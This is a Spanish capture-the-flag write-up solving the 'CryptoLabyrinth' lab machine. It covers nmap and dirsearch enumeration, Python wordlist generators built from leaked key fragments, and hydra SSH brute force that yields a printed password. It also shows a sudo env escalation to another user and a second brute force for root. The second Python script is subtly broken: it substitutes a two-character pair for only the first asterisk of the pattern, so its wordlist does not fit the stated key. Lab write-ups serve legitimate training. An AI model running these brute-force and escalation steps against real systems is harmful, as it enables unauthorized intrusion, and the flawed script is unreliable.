Introducción
El presente reto, denominado CryptoLabyrinth, es un CTF (Capture the Flag) enfocado principalmente en la criptografía y la explotación de servicios comunes. Este desafío se encuentra disponible en la plataforma The Hacker Labs y está diseñado para evaluar las habilidades de enumeración, generación de diccionarios personalizados, ataques de fuerza bruta y escalada de privilegios en un entorno controlado.
El método principal para obtener acceso inicial a la máquina objetivo se basa en la generación de diccionarios de contraseñas personalizados utilizando fragmentos de información obtenidos a partir de un análisis detallado del código fuente. Dichos fragmentos se identifican mediante técnicas de enumeración web que permiten localizar cadenas de texto que sugieren patrones específicos susceptibles de ser explotados. Una vez generados los diccionarios, se procede a atacar servicios que requieren autenticación mediante herramientas automatizadas como hydra
.
A lo largo del proceso, se utilizan herramientas reconocidas en la comunidad de seguridad informática como nmap
, dirsearch
y hydra
, complementadas con scripts personalizados desarrollados en Python. También se realiza la descifrado de hashes obtenidos durante la enumeración, utilizando servicios en línea como CrackStation para facilitar la recuperación de contraseñas válidas.
Además, este reto implica la explotación de configuraciones erróneas de permisos para escalar privilegios y obtener acceso total al sistema objetivo. Este writeup documenta el proceso completo desde la enumeración inicial hasta la obtención de privilegios de superusuario (root), proporcionando un registro detallado de cada etapa y las técnicas utilizadas para superar los desafíos planteados.
Enumeración
Enumeración de puertos
Comenzamos la resolución de la máquina CryptoLabyrinth realizando una enumeración de puertos.
nmap -p- -Pn -n --min-rate 2500 192.168.1.2

Tras completar el escaneo de puertos, vemos que están abiertos los puertos 22 y 80 de la máquina objetivo. A continuación, seguimos con un escaneo profundo de los dos servicios disponibles.
nmap -p22,80 -sVC -Pn -n 192.168.1.2

Servicios disponibles:
- Puerto 22 -> OpenSSH 9.2
- Puerto 80 -> Apache httpd 2.4.62
Enumeración Web

Revisando el código fuente de la página por defecto de Apache, encontramos una cadena de texto. Esta cadena de texto incluye ** que puede indicar que podrían ser cualquier carácter alfanumérico.

Vamos a generar una lista con todas las opciones posible. Para ello utilizaremos el siguiente script.
import itertools
import string
def generar_claves(base_clave: str) -> list[str]:
caracteres = string.ascii_letters + string.digits
combinaciones = [''.join(par) for par in itertools.product(caracteres, repeat=2)]
claves_generadas = [base_clave.replace('**', combinacion) for combinacion in combinaciones]
return claves_generadas
if __name__ == "__main__":
base_clave = '2LWxmDsW0**'
claves = generar_claves(base_clave)
# Guardar las claves generadas en un archivo de texto
with open('claves_generadas.txt', 'w') as archivo:
archivo.write('\n'.join(claves))
print(f"Se generaron {len(claves)} claves y se guardaron en 'claves_generadas.txt'.")

El siguiente paso, enumerar directorios y archivos del sistio Web.
dirsearch -u http://192.168.1.2 -i200,301 -w '/home/kali/Music/herramientas/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt'


Encontramos archivos que parecen pistas sobre passwords. También parece que hemos encontrado dos nombres de usuario:
- bob
- alice
Desciframos los hashes de la contraseñas para el usuario bob con la herramienta online crackstation

Añadimos los siguientes hashes al listado de passwords anteriores.
Explotación
Tenemos dos nombres de usuario, una lista de contraseñas y un servicio SSH corriendo en el puerto 22.
hydra -l bob -P claves_generadas.txt ssh://192.168.1.2 -t 64

bob:2LWxmDsW0AE
Nos conectamos al objetivo a través de SSH
ssh bob@192.168.1.2


Ya tenemos la flag de usuario de bajo privilegios.
Pivotando a usuario alice
Comenzamos comprobando si el usuario actual tiene permisos sudo para los binarios existentes.
sudo -l

Vamos a ver si podemos aprovechar este permiso para elevar privilegios. Para ello, vamos al sitio Web GTFOBins

El usuario alice puede ejecutar como root el binario env.
sudo -u alice /usr/bin/env /bin/bash


Obtenemos la flag para la usuario alice
Elevación de privilegios
Enumerando en los diferentes directorios del servidor, encontramos una carpeta /mnt que contiene un archivo .secret.txt que contiene otra clave 2LWx*DsW0A*

Vamos a volver a generar una lista de contraseña con la clave anterior.
Utilizamos el script
import itertools
import string
def generar_claves(base_clave: str) -> list[str]:
caracteres = string.ascii_letters + string.digits
combinaciones = [''.join(par) for par in itertools.product(caracteres, repeat=2)]
claves_generadas = [base_clave.replace('*', combinacion, 1) for combinacion in combinaciones]
return claves_generadas
if __name__ == "__main__":
base_clave = '2LWx*DsW0A*'
claves = generar_claves(base_clave)
# Guardar las claves generadas en un archivo de texto
with open('claves_generadas_v2.txt', 'w') as archivo:
archivo.write('\n'.join(claves))
print(f"Se generaron {len(claves)} claves y se guardaron en 'claves_generadas_v2.txt'.")
Ahora con el diccionario generado, vamos a tratar de localizar la contraseña para el usuario root.
hydra -l root -P claves_generadas_v2.txt ssh://192.168.1.2 -t 64

Obtenemos las credenciales para el usuario root.
Vamos a comprobar si son válidas.

Obtendremos acceso a la máquina objetivo con privilegios de usuario root. Encontraremos la flag root en el directorio /root y ya tendremos finalizada la resolución de la máquina CryptoLabyrinth.
Comments are closed